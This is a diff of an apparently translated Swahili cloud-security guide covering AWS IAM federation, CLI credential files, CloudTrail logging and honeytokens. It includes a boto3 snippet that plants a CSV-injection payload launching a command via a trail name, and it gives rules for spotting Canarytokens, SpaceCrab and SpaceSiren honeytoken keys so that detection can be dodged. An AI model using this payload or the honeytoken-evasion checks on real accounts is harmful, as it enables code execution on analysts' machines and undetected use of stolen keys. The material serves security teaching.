||||
|
||||
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa.
|
||||
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa.
|
||||
|
||||
Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa likiruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
Hata hivyo, kwa kawaida utataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa lile linaloruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Kituo cha Utambulisho wa IAM
|
||||
|
||||
Kituo cha Utambulisho wa AWS IAM (mfuasi wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu.
|
||||
Kituo cha Utambulisho wa AWS IAM (mfuatano wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu.
|
||||
|
||||
Domeni la kuingia litakuwa kitu kama `<user_input>.awsapps.com`.
|
||||
|
||||
Ili kuingia kwa watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
|
||||
- Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS
|
||||
- Active Directory: Inasaidia viunganishi tofauti
|
||||
@@ -257,59 +257,61 @@ Ili kuingia kwa watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumi
|
||||
|
||||
Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti zozote** za shirika.
|
||||
|
||||
Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML unaoaminika Kituo cha Utambulisho utaundwa**, na **jukumu linaloaminika Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaundwa** katika akaunti ya marudio.
|
||||
Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML anayeamini Kituo cha Utambulisho utaanzishwa**, na **jukumu linaloamini Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaanzishwa** katika akaunti ya marudio.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoundwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoundwa katika akaunti zinazopatiwa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**.
|
||||
Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoanzishwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoanzishwa katika akaunti zinazopatiwa **sera za ndani katika Kituo cha Utambulisho cha AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**.
|
||||
|
||||
### Uaminifu wa Akaunti Mbalimbali na Majukumu
|
||||
### Uaminifu na Majukumu ya Akaunti Mbalimbali
|
||||
|
||||
**Mtumiaji** (anayeaminiwa) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti unayoimiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminiwa na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu.
|
||||
**Mtumiaji** (anayeamini) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti unayoimiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminika na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu vibaya.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Haikubali:
|
||||
Haitambuliwi:
|
||||
|
||||
- Mahusiano ya Uaminifu
|
||||
- Kituo cha Usimamizi wa AD
|
||||
- Msaada wa PS API kamili
|
||||
- Msaada kamili wa PS API
|
||||
- Kituo cha Recycle cha AD
|
||||
- Akaunti za Huduma za Kundi
|
||||
- Upanuzi wa Mpango
|
||||
- Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano
|
||||
|
||||
#### Ushirikiano wa Mtandao au Uthibitisho wa OpenID
|
||||
#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID
|
||||
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda vithibitisho vya muda. Hata hivyo, hii haisaidii ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
|
||||
|
||||
### Chaguzi Nyingine za IAM
|
||||
|
||||
- Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila.
|
||||
- Unaweza **kupakua "Ripoti ya Vithibitisho"** yenye taarifa kuhusu vithibitisho vya sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewezeshwa...). Unaweza kuunda ripoti ya vithibitisho mara kwa mara kama mara moja kila **saa nne**.
|
||||
- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, je, nywila imewezeshwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**.
|
||||
|
||||
Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Pamoja na IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Pamoja na sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini**.
|
||||
|
||||
### Awali za ID za IAM
|
||||
### Viambatisho vya ID vya IAM
|
||||
|
||||
Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **awali za ID za IAM** za funguo kulingana na asili yao:
|
||||
Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **viambatisho vya ID vya IAM** vya funguo kulingana na asili yao:
|
||||
|
||||
| ABIA | [Token ya mtoa huduma ya AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| Identifier Code | Maelezo |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Vithibitisho maalum kwa muktadha |
|
||||
| ABIA | [Token ya mtoa huduma wa AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Akiba maalum ya muktadha |
|
||||
| AGPA | Kundi la mtumiaji |
|
||||
| AIDA | Mtumiaji wa IAM |
|
||||
| AIPA | Profaili ya mfano wa Amazon EC2 |
|
||||
| AKIA | Funguo la ufikiaji |
|
||||
| AKIA | Funguo ya ufikiaji |
|
||||
| ANPA | Sera iliyosimamiwa |
|
||||
| ANVA | Toleo katika sera iliyosimamiwa |
|
||||
| APKA | Funguo ya umma |
|
||||
| AROA | Jukumu |
|
||||
| ASCA | Cheti |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa mchanganyiko na funguo ya siri ya ufikiaji na tokeni ya kikao. |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia viambatisho hivi, lakini ni maalum tu kwa mchanganyiko na funguo ya siri ya ufikiaji na tokeni ya kikao. |
|
||||
|
||||
### Ruhusa zinazopendekezwa kukagua akaunti
|
||||
|
||||
@@ -326,11 +328,11 @@ Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata:
|
||||
|
||||
## Mambo Mengine
|
||||
|
||||
### Uthibitisho wa CLI
|
||||
### Uthibitishaji wa CLI
|
||||
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **vithibitisho vya ndani**. Kwa kawaida unaweza kuviweka **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa kawaida unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\
|
||||
Mfano wa faili ya vithibitisho yenye zaidi ya profaili 1:
|
||||
Mfano wa faili ya akiba yenye zaidi ya profaili 1:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -341,7 +343,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akiba.
|
||||
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akidi.
|
||||
|
||||
Unaweza kutumia faili ya `~/.aws/config` [**kuonyesha ni majukumu gani ya kuchukua**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), na kisha tumia param ya `--profile` kama kawaida (kuchukua jukumu kutafanywa kwa njia ya uwazi kwa mtumiaji).\
|
||||
Mfano wa faili ya usanidi:
|
||||
|
||||
+33
-33
@@ -4,29 +4,29 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata sheria, na kufuatilia mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia za mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata sheria.
|
||||
AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata kanuni.
|
||||
|
||||
Kila tukio lililosajiliwa lina:
|
||||
|
||||
- Jina la API iliyotumika: `eventName`
|
||||
- Huduma iliyotumika: `eventSource`
|
||||
- Jina la API iliyoitwa: `eventName`
|
||||
- Huduma iliyoitwa: `eventSource`
|
||||
- Wakati: `eventTime`
|
||||
- Anuani ya IP: `SourceIPAddress`
|
||||
- Njia ya wakala: `userAgent`. Mifano:
|
||||
- Signing.amazonaws.com - Kutoka AWS Management Console
|
||||
- console.amazonaws.com - Mtumiaji wa root wa akaunti
|
||||
- console.amazonaws.com - Mtumiaji wa msingi wa akaunti
|
||||
- lambda.amazonaws.com - AWS Lambda
|
||||
- Vigezo vya ombi: `requestParameters`
|
||||
- Parameta za ombi: `requestParameters`
|
||||
- Vipengele vya majibu: `responseElements`
|
||||
|
||||
Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **takriban kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 takriban dakika 15 baada**.\
|
||||
Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **karibu kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 karibu dakika 15 baada**.\
|
||||
Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya mikoa.**\
|
||||
CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya digest. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\
|
||||
Unapounda Trail, wachaguo wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
|
||||
Unapounda Trail, wachaguaji wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
|
||||
|
||||
Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
|
||||
Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua maudhui kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
|
||||
|
||||
Kumbukumbu zinawekwa katika **bakuli la S3 lenye muundo huu wa jina**:
|
||||
Kumbukumbu zinahifadhiwa katika **bakuli la S3 lenye muundo huu wa jina**:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Jina la Bakuli: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
@@ -46,7 +46,7 @@ Zaidi ya hayo, **faili za digest (kuangalia uaminifu wa faili)** zitakuwa ndani
|
||||
|
||||
- Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe
|
||||
- Weka ruhusa kwa bakuli la S3 la marudio linaloruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji
|
||||
- Unda Trail mpya katika akaunti nyingine za AWS na uchague kutumia bakuli iliyoundwa katika hatua ya 1
|
||||
- Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia bakuli iliyoundwa katika hatua ya 1
|
||||
|
||||
Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS.
|
||||
|
||||
@@ -55,11 +55,11 @@ Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3
|
||||
|
||||
### Cloudtrail kutoka akaunti zote za org katika 1
|
||||
|
||||
Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli moja tu:
|
||||
Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli 1 tu:
|
||||
|
||||
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda).
|
||||
Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kuilinda).
|
||||
|
||||
### Kuangalia Faili za Kumbukumbu
|
||||
|
||||
@@ -72,34 +72,34 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
|
||||
**CloudTrail inaweza kutuma logi kwa CloudWatch kiotomatiki ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kutatanisha.**\
|
||||
Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, **role** inahitaji kuundwa inayoruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia role ya AWS ya kawaida kufanya vitendo hivi. Role hii itaruhusu CloudTrail:
|
||||
|
||||
- CreateLogStream: Hii inaruhusu kuunda mstream wa logi za CloudWatch
|
||||
- PutLogEvents: Toa logi za CloudTrail kwa mstream wa logi za CloudWatch
|
||||
- CreateLogStream: Hii inaruhusu kuunda CloudWatch Logs log streams
|
||||
- PutLogEvents: Toa logi za CloudTrail kwa CloudWatch Logs log stream
|
||||
|
||||
### Event History
|
||||
|
||||
Historia ya Matukio ya CloudTrail inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa:
|
||||
CloudTrail Event History inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa:
|
||||
|
||||
.png>)
|
||||
|
||||
### Insights
|
||||
|
||||
**CloudTrail Insights** kiotomatiki **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi** zaidi kuliko hapo awali.
|
||||
**CloudTrail Insights** kiotomatiki **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi** kuliko hapo awali.
|
||||
|
||||
Insights zinahifadhiwa katika bucket sawa na logi za CloudTrail katika: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Security
|
||||
|
||||
| CloudTrail Log File Integrity | <ul><li>Thibitisha ikiwa logi zimeingiliwa (kubadilishwa au kufutwa)</li><li><p>Tumia faili za digest (unda hash kwa kila faili)</p><ul><li>SHA-256 hashing</li><li>SHA-256 na RSA kwa saini ya kidijitali</li><li>funguo ya faragha inayomilikiwa na Amazon</li></ul></li><li>Inachukua saa 1 kuunda faili ya digest (kufanywa kila saa)</li></ul> |
|
||||
| Control Name | Implementation Details |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Stop unauthorized access | <ul><li><p>Tumia sera za IAM na sera za bucket za S3</p><ul><li>timu ya usalama —> ufikiaji wa admin</li><li>waangalizi —> ufikiaji wa kusoma tu</li></ul></li><li>Tumia SSE-S3/SSE-KMS kuandika logi</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Punguza ufikiaji wa kufuta kwa kutumia sera za IAM na bucket</li><li>Sanidi S3 MFA delete</li><li>Thibitisha kwa Uthibitishaji wa Faili za Logi</li></ul> |
|
||||
| CloudTrail Log File Integrity | <ul><li>Thibitisha ikiwa logi zimeingiliwa (kubadilishwa au kufutwa)</li><li><p>Tumia faili za digest (unda hash kwa kila faili)</p><ul><li>SHA-256 hashing</li><li>SHA-256 na RSA kwa saini ya kidijitali</li><li>funguo ya faragha inayomilikiwa na Amazon</li></ul></li><li>Inachukua saa 1 kuunda faili ya digest (kufanywa kila saa)</li></ul> |
|
||||
| Stop unauthorized access | <ul><li><p>Tumia sera za IAM na sera za S3 bucket</p><ul><li>timu ya usalama —> ufikiaji wa admin</li><li>waangalizi —> ufikiaji wa kusoma tu</li></ul></li><li>Tumia SSE-S3/SSE-KMS kuandika logi</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Zuia ufikiaji wa kufuta kwa kutumia IAM na sera za bucket</li><li>Sanidi S3 MFA delete</li><li>Thibitisha kwa Log File Validation</li></ul> |
|
||||
|
||||
## Access Advisor
|
||||
|
||||
AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii ku **onyesha wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amezifikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijatumika kwa muda mrefu na kwa hivyo kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi.
|
||||
AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha **wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amefikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na huenda kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi.
|
||||
|
||||
> [!TIP]
|
||||
> Kwa hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizo za lazima zinazotolewa kwa watumiaji** ili admin aweze kuziondoa
|
||||
> Hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizo za lazima zinazotolewa kwa watumiaji** ili admin aweze kuziondoa
|
||||
|
||||
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
### **CSV Injection**
|
||||
|
||||
Inawezekana kufanya CVS injection ndani ya CloudTrail ambayo itatekeleza msimbo wowote ikiwa logi zitasafirishwa kwa CSV na kufunguliwa na Excel.\
|
||||
Msimbo ufuatao utaunda kipengee cha logi chenye jina mbaya la Trail kinachojumuisha payload:
|
||||
Msimbo ufuatao utaunda kipengee cha logi chenye jina mbaya la Trail kinachoshikilia payload:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -150,12 +150,12 @@ Kwa maelezo zaidi kuhusu mbinu hii maalum angalia [https://rhinosecuritylabs.com
|
||||
|
||||
Honeytokens zinaundwa ili **gundua uhamishaji wa taarifa nyeti**. Katika kesi ya AWS, ni **funguo za AWS ambazo matumizi yake yanakaguliwa**, ikiwa kitu kinachochea kitendo na funguo hiyo, basi mtu lazima awe amepora funguo hiyo.
|
||||
|
||||
Hata hivyo, Honeytokens kama zile zinazoundwa na [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail iundwe log yoyote, **unaweza kujua kama funguo ni honeytoken au la**.
|
||||
Hata hivyo, Honeytokens kama zile zinazoundwa na [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail iunde logi yoyote, **unaweza kujua kama funguo ni honeytoken au la**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ina sheria kadhaa za kugundua ikiwa funguo inamhusu [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- Ikiwa **`canarytokens.org`** inaonekana katika jina la jukumu au ID ya akaunti **`534261010715`** inaonekana katika ujumbe wa kosa.
|
||||
- Wakiwajaribu hivi karibuni, wanatumia akaunti **`717712589309`** na bado wana **`canarytokens.com`** katika jina.
|
||||
- Kuziangalia hivi karibuni, wanatumia akaunti **`717712589309`** na bado ina **`canarytokens.com`** katika jina.
|
||||
- Ikiwa **`SpaceCrab`** inaonekana katika jina la jukumu katika ujumbe wa kosa
|
||||
- **SpaceSiren** inatumia **uuids** kuunda majina ya watumiaji: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- Ikiwa **jina linaonekana kama lililotengenezwa kwa bahati**, kuna uwezekano mkubwa kwamba ni HoneyToken.
|
||||
@@ -191,20 +191,20 @@ Jambo ni kwamba matokeo yataonyesha kosa linaloashiria ID ya akaunti na jina la
|
||||
|
||||
#### Huduma za AWS bila logi
|
||||
|
||||
Katika siku za nyuma kulikuwa na baadhi ya **huduma za AWS ambazo hazitumi logi kwa CloudTrail** (pata [orodha hapa](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Baadhi ya huduma hizo zitajibu kwa **kosa** lililo na **ARN ya funguo la jukumu** ikiwa mtu asiyeidhinishwa (funguo ya honeytoken) atajaribu kuingia.
|
||||
Katika siku za nyuma kulikuwa na baadhi ya **huduma za AWS ambazo hazitumi logi kwa CloudTrail** (pata [orodha hapa](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Baadhi ya huduma hizo zita **jibu** kwa **kosa** lililo na **ARN ya funguo la jukumu** ikiwa mtu asiyeidhinishwa (funguo ya honeytoken) atajaribu kuingia.
|
||||
|
||||
